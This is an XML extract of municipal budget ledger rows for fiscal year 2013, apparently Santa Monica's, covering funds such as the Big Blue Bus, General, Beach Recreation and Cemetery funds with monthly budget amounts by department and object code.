<row _id="745"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522545.0</object><object_description>AD SALES (BBB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>211500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>211500.0</total></row>
<row _id="746"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522114.0</object><object_description>UTIL-LIGHT/POWER-PARKING AUTH</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>93617</april><may>0</may><june>0.0</june><total>93617.0</total></row>
<row _id="747"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404210.0</object><object_description>OTHER OPER REV-ADVERTISING</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-1350000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1350000.0</total></row>
<row _id="748"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404820.0</object><object_description>PROP A SALES TAX</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2013</fiscal_year><july>-11830060.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-11830060.0</total></row>
<row _id="749"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="750"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="751"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNREALIZED GAIN / LOSS</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="752"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522840.0</object><object_description>FUEL AND OIL TAXES-SVC EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="753"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>16120.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16120.0</total></row>
<row _id="754"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>480236.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4802</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>485038.0</total></row>
<row _id="755"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>555330.0</object><object_description>VOUCHER REDEMPTIONS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>17101.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17101.0</total></row>
<row _id="756"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>34441.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>34441.0</total></row>
<row _id="757"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="758"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25278.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25278.0</total></row>
<row _id="759"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401311.0</object><object_description>CONTRACT CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-918000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-918000.0</total></row>
<row _id="760"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8511.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8511.0</total></row>
<row _id="761"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>42698.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>42698.0</total></row>
<row _id="762"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>407050.0</object><object_description>GEN PROM BUS LIC - PICO</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-4300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4300.0</total></row>
<row _id="763"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401200.0</object><object_description>FIELD PERMITS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-220548.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-220548.0</total></row>
<row _id="764"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400771.0</object><object_description>OUTDOOR DINING REVENUE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-517664.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-517664.0</total></row>
<row _id="765"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="766"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400770.0</object><object_description>LEASE RENTAL REV-BEACH CLUB</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-78239.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-78239.0</total></row>
<row _id="767"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401810.0</object><object_description>ENCROACHMENT REVENUE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-118000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-118000.0</total></row>
<row _id="768"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>400950.0</object><object_description>MOUNTAIN VIEW LEASE REVENUE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-356000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-356000.0</total></row>
<row _id="769"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577890.0</object><object_description>MWD RECYCLED WATER REBATE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-17952.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-17952.0</total></row>
<row _id="770"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2635070.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2635070.0</total></row>
<row _id="771"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="772"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="773"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>43050.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>43050.0</total></row>
<row _id="774"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="775"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>18720.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>187</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18907.0</total></row>
<row _id="776"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>544115.0</object><object_description>FARE MEDIA</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>35000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>35000.0</total></row>
<row _id="777"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>544113.0</object><object_description>ONBOARD MATERIALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>99596.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>99596.0</total></row>
<row _id="778"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522184.0</object><object_description>BANK FEES-PARKING AUTHORITY</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>700</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="779"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402000.0</object><object_description>PASSENGER REVENUE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-14521430.0</july><august>0</august><september>-162810.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-14684240.0</total></row>
<row _id="780"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1403992.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1403992.0</total></row>
<row _id="781"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405450.0</object><object_description>HBP-FHWA CAL INCLINE DESIGN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-1654536.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1654536.0</total></row>
<row _id="782"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-108632.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-108632.0</total></row>
<row _id="783"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402220.0</object><object_description>CEMETERY MISC SALES / SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-267750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-267750.0</total></row>
<row _id="784"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>402410.0</object><object_description>SELF-INSURANCE BUS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-2500000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2500000.0</total></row>
<row _id="785"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>402430.0</object><object_description>SELF-INSURANCE WORKERS COMP</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-9126295.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-9126295.0</total></row>
<row _id="786"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>404810.0</object><object_description>REFUSE BINS - STORAGE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-65800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-65800.0</total></row>
<row _id="787"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401600.0</object><object_description>LIBRARY FINES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2013</fiscal_year><july>-290000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-290000.0</total></row>
<row _id="788"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401630.0</object><object_description>LIBRARY COPIERS AND PRINTERS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-32000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-32000.0</total></row>
<row _id="789"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401640.0</object><object_description>LIBRARY MEETING ROOM RENTAL</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-47000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-47000.0</total></row>
<row _id="790"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>17031.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>170</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17201.0</total></row>
